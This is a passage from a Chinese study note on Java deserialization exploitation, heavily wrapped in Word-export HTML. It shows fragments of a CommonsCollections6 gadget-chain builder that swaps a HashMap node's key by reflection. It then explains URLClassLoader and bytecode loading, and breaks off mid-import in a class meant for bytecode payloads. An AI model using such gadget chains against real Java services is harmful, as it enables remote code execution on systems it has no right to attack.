              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> node </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> array</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">[</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DecValTok&#39;;color: #40A070;font-family: Consolas;">0</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">];</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">if</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">node </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">==</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">null</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">){</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span>node </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> array</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">[</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DecValTok&#39;;color: #40A070;font-family: Consolas;">1</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">];</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Field</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> keyField </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">null</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">try</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span>keyField </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> node</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getClass</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">().</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getDeclaredField</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;key&#34;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">catch</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Exception</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> e</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">){</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span>keyField </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Class</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">forName</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;java.util.MapEntry&#34;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">).</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getDeclaredField</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;key&#34;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">Reflections</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">setAccessible</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">keyField</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">keyField</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">set</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">node</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> entry</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">//将其中一个Node的key属性改为entry</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">return</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> map</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Calibri;">java字节码</span></span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;"><img data-ratio="0.3625" style="width:553.8084106445312px;height:202.8300018310547px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=40b202dd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKhmdD4mtkPbzUquicVg3HHiaSJdQ3nwGqFqx5PxDfNFBV48VpaWGXLAtA%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">—所有能够恢复成一个类并在JVM虚拟机里加载的字节序列，都在我们的探讨范围内</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">URLClassLoader 实际上是我们平时默认使用的 AppClassLoader 的父类，所以，我们解释              URLClassLoader 的工作过程实际上就是在解释默认的Java类加载器的工作流程。</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">正常情况下，Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径（这              些路径是经过处理后的 java.net.URL 类）来寻找.class文件来加载，而这个基础路径有分为三种情况：</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">URL未以斜杠 / 结尾，则认为是一个JAR文件，使用 JarLoader 来寻找类，即为在Jar包中寻              找.class文件</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">URL以斜杠 / 结尾，且协议名是 file ，则使用 FileLoader 来寻找类，即为在本地文件系统中寻              找.class文件</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">URL以斜杠 / 结尾，且协议名不是 file ，则使用最基础的 Loader 来寻找类</span></span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">直接偷懒使用p牛的字节码会报错</span></span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">Hello </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">:</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> Unsupported major</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">minor</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> version </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FloatTok&#39;;color: #40A070;font-family: Consolas;">52.0</span></span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">原因是jdk版本不同，因为调试cc1等低版本链子以及7u21的原生链子，所以我的jdk版本搞得很低是oracle jdk7u21，渣性能虚拟机懒得在idea里来回切jdk</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">需要自己写个类编译好然后读取并编码</span></span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">package</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;"> org</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">test</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">ser</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              

              

              

              

              

              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">import</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">com</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">sun</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">org</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">apache</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: 